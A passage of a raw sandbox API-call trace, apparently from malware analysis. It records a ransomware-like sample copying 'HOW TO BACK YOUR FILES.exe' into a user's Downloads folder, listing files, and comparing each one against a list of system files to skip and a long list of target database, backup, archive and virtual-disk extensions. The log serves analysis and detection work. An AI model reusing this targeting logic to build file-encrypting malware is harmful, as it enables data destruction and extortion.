cFileName="ZFJCJlO5OR1.xlsx", cAlternateFileName="ZFJCJL~1.XLS")) returned 0 [0050.875] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0050.875] ReleaseMutex (hMutex=0xec) returned 1 [0050.875] CloseHandle (hObject=0xec) returned 1 [0050.875] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads" [0050.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501828 | out: hHeap=0x4f0000) returned 1 [0050.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c488 | out: hHeap=0x4f0000) returned 1 [0050.875] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 56 [0050.875] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\980F406ED2E623ED1B81346CD8B60FB1") returned 0xec [0050.875] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0050.875] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads" [0050.875] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0050.875] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0050.876] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0050.876] GetLastError () returned 0x0 [0050.876] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0050.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0050.876] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0050.877] CloseHandle (hObject=0xf4) returned 1 [0050.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0050.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0050.877] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0050.877] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.877] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.877] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0050.877] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce11940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.877] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.877] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.877] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0050.877] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0050.877] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.877] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.878] lstrlenW (lpString="desktop.ini") returned 11 [0050.878] lstrcpyW (in: lpString1=0x241e8ba, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.878] lstrlenW (lpString="desktop.ini") returned 11 [0050.878] lstrlenW (lpString="Athena865") returned 9 [0050.878] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.878] lstrlenW (lpString=".dll") returned 4 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.878] lstrlenW (lpString=".lnk") returned 4 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.878] lstrlenW (lpString=".ini") returned 4 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.878] lstrlenW (lpString=".sys") returned 4 [0050.878] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.878] lstrlenW (lpString="desktop.ini") returned 11 [0050.878] lstrlenW (lpString="bak") returned 3 [0050.878] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0050.878] lstrlenW (lpString="ba_") returned 3 [0050.878] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0050.878] lstrlenW (lpString="dbb") returned 3 [0050.878] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0050.878] lstrlenW (lpString="vmdk") returned 4 [0050.878] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0050.878] lstrlenW (lpString="rar") returned 3 [0050.878] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0050.878] lstrlenW (lpString="zip") returned 3 [0050.878] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0050.879] lstrlenW (lpString="tgz") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0050.879] lstrlenW (lpString="vbox") returned 4 [0050.879] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0050.879] lstrlenW (lpString="vdi") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0050.879] lstrlenW (lpString="vhd") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0050.879] lstrlenW (lpString="vhdx") returned 4 [0050.879] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0050.879] lstrlenW (lpString="avhd") returned 4 [0050.879] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0050.879] lstrlenW (lpString="db") returned 2 [0050.879] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0050.879] lstrlenW (lpString="db2") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0050.879] lstrlenW (lpString="db3") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0050.879] lstrlenW (lpString="dbf") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0050.879] lstrlenW (lpString="mdf") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0050.879] lstrlenW (lpString="mdb") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0050.879] lstrlenW (lpString="sql") returned 3 [0050.879] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0050.879] lstrlenW (lpString="sqlite") returned 6 [0050.879] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0050.879] lstrlenW (lpString="sqlite3") returned 7 [0050.879] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0050.879] lstrlenW (lpString="sqlitedb") returned 8 [0050.879] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0050.879] lstrlenW (lpString="xml") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0050.880] lstrlenW (lpString="$er") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0050.880] lstrlenW (lpString="4dd") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0050.880] lstrlenW (lpString="4dl") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0050.880] lstrlenW (lpString="^^^") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0050.880] lstrlenW (lpString="abs") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0050.880] lstrlenW (lpString="abx") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0050.880] lstrlenW (lpString="accdb") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0050.880] lstrlenW (lpString="accdc") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0050.880] lstrlenW (lpString="accde") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0050.880] lstrlenW (lpString="accdr") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0050.880] lstrlenW (lpString="accdt") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0050.880] lstrlenW (lpString="accdw") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0050.880] lstrlenW (lpString="accft") returned 5 [0050.880] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0050.880] lstrlenW (lpString="adb") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.880] lstrlenW (lpString="adb") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0050.880] lstrlenW (lpString="ade") returned 3 [0050.880] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0050.881] lstrlenW (lpString="adf") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0050.881] lstrlenW (lpString="adn") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0050.881] lstrlenW (lpString="adp") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0050.881] lstrlenW (lpString="alf") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0050.881] lstrlenW (lpString="ask") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0050.881] lstrlenW (lpString="btr") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0050.881] lstrlenW (lpString="cat") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0050.881] lstrlenW (lpString="cdb") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0050.881] lstrlenW (lpString="ckp") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0050.881] lstrlenW (lpString="cma") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0050.881] lstrlenW (lpString="cpd") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0050.881] lstrlenW (lpString="dacpac") returned 6 [0050.881] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0050.881] lstrlenW (lpString="dad") returned 3 [0050.881] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0050.881] lstrlenW (lpString="dadiagrams") returned 10 [0050.881] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0050.881] lstrlenW (lpString="daschema") returned 8 [0050.881] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0050.881] lstrlenW (lpString="db-journal") returned 10 [0050.881] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0050.881] lstrlenW (lpString="db-shm") returned 6 [0050.881] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0050.882] lstrlenW (lpString="db-wal") returned 6 [0050.882] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0050.882] lstrlenW (lpString="dbc") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0050.882] lstrlenW (lpString="dbs") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0050.882] lstrlenW (lpString="dbt") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0050.882] lstrlenW (lpString="dbv") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0050.882] lstrlenW (lpString="dbx") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0050.882] lstrlenW (lpString="dcb") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0050.882] lstrlenW (lpString="dct") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0050.882] lstrlenW (lpString="dcx") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0050.882] lstrlenW (lpString="ddl") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0050.882] lstrlenW (lpString="dlis") returned 4 [0050.882] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0050.882] lstrlenW (lpString="dp1") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0050.882] lstrlenW (lpString="dqy") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0050.882] lstrlenW (lpString="dsk") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0050.882] lstrlenW (lpString="dsn") returned 3 [0050.882] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0050.882] lstrlenW (lpString="dtsx") returned 4 [0050.882] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0050.882] lstrlenW (lpString="dxl") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0050.883] lstrlenW (lpString="eco") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0050.883] lstrlenW (lpString="ecx") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0050.883] lstrlenW (lpString="edb") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0050.883] lstrlenW (lpString="epim") returned 4 [0050.883] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0050.883] lstrlenW (lpString="fcd") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0050.883] lstrlenW (lpString="fdb") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0050.883] lstrlenW (lpString="fic") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0050.883] lstrlenW (lpString="flexolibrary") returned 12 [0050.883] lstrlenW (lpString="fm5") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0050.883] lstrlenW (lpString="fmp") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0050.883] lstrlenW (lpString="fmp12") returned 5 [0050.883] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0050.883] lstrlenW (lpString="fmpsl") returned 5 [0050.883] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0050.883] lstrlenW (lpString="fol") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0050.883] lstrlenW (lpString="fp3") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0050.883] lstrlenW (lpString="fp4") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0050.883] lstrlenW (lpString="fp5") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0050.883] lstrlenW (lpString="fp7") returned 3 [0050.883] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0050.884] lstrlenW (lpString="fpt") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0050.884] lstrlenW (lpString="frm") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0050.884] lstrlenW (lpString="gdb") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.884] lstrlenW (lpString="gdb") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0050.884] lstrlenW (lpString="grdb") returned 4 [0050.884] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0050.884] lstrlenW (lpString="gwi") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0050.884] lstrlenW (lpString="hdb") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0050.884] lstrlenW (lpString="his") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0050.884] lstrlenW (lpString="ib") returned 2 [0050.884] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0050.884] lstrlenW (lpString="idb") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0050.884] lstrlenW (lpString="ihx") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0050.884] lstrlenW (lpString="itdb") returned 4 [0050.884] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0050.884] lstrlenW (lpString="itw") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0050.884] lstrlenW (lpString="jet") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0050.884] lstrlenW (lpString="jtx") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0050.884] lstrlenW (lpString="kdb") returned 3 [0050.884] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0050.884] lstrlenW (lpString="kexi") returned 4 [0050.884] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0050.885] lstrlenW (lpString="kexic") returned 5 [0050.885] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0050.885] lstrlenW (lpString="kexis") returned 5 [0050.885] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0050.885] lstrlenW (lpString="lgc") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0050.885] lstrlenW (lpString="lwx") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0050.885] lstrlenW (lpString="maf") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0050.885] lstrlenW (lpString="maq") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0050.885] lstrlenW (lpString="mar") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0050.885] lstrlenW (lpString="marshal") returned 7 [0050.885] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0050.885] lstrlenW (lpString="mas") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0050.885] lstrlenW (lpString="mav") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0050.885] lstrlenW (lpString="maw") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0050.885] lstrlenW (lpString="mdbhtml") returned 7 [0050.885] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0050.885] lstrlenW (lpString="mdn") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0050.885] lstrlenW (lpString="mdt") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0050.885] lstrlenW (lpString="mfd") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0050.885] lstrlenW (lpString="mpd") returned 3 [0050.885] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0050.885] lstrlenW (lpString="mrg") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0050.886] lstrlenW (lpString="mud") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0050.886] lstrlenW (lpString="mwb") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0050.886] lstrlenW (lpString="myd") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0050.886] lstrlenW (lpString="ndf") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0050.886] lstrlenW (lpString="nnt") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0050.886] lstrlenW (lpString="nrmlib") returned 6 [0050.886] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0050.886] lstrlenW (lpString="ns2") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0050.886] lstrlenW (lpString="ns3") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0050.886] lstrlenW (lpString="ns4") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0050.886] lstrlenW (lpString="nsf") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0050.886] lstrlenW (lpString="nv") returned 2 [0050.886] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0050.886] lstrlenW (lpString="nv2") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0050.886] lstrlenW (lpString="nwdb") returned 4 [0050.886] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0050.886] lstrlenW (lpString="nyf") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0050.886] lstrlenW (lpString="odb") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.886] lstrlenW (lpString="odb") returned 3 [0050.886] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0050.887] lstrlenW (lpString="oqy") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0050.887] lstrlenW (lpString="ora") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0050.887] lstrlenW (lpString="orx") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0050.887] lstrlenW (lpString="owc") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0050.887] lstrlenW (lpString="p96") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0050.887] lstrlenW (lpString="p97") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0050.887] lstrlenW (lpString="pan") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0050.887] lstrlenW (lpString="pdb") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0050.887] lstrlenW (lpString="pdm") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0050.887] lstrlenW (lpString="pnz") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0050.887] lstrlenW (lpString="qry") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0050.887] lstrlenW (lpString="qvd") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0050.887] lstrlenW (lpString="rbf") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0050.887] lstrlenW (lpString="rctd") returned 4 [0050.887] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0050.887] lstrlenW (lpString="rod") returned 3 [0050.887] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0050.887] lstrlenW (lpString="rodx") returned 4 [0050.887] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0050.888] lstrlenW (lpString="rpd") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0050.888] lstrlenW (lpString="rsd") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0050.888] lstrlenW (lpString="sas7bdat") returned 8 [0050.888] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0050.888] lstrlenW (lpString="sbf") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0050.888] lstrlenW (lpString="scx") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0050.888] lstrlenW (lpString="sdb") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0050.888] lstrlenW (lpString="sdc") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0050.888] lstrlenW (lpString="sdf") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0050.888] lstrlenW (lpString="sis") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0050.888] lstrlenW (lpString="spq") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0050.888] lstrlenW (lpString="te") returned 2 [0050.888] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0050.888] lstrlenW (lpString="teacher") returned 7 [0050.888] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0050.888] lstrlenW (lpString="tmd") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0050.888] lstrlenW (lpString="tps") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0050.888] lstrlenW (lpString="trc") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0050.888] lstrlenW (lpString="trc") returned 3 [0050.888] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0050.888] lstrlenW (lpString="trm") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0050.889] lstrlenW (lpString="udb") returned 3 [0050.889] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 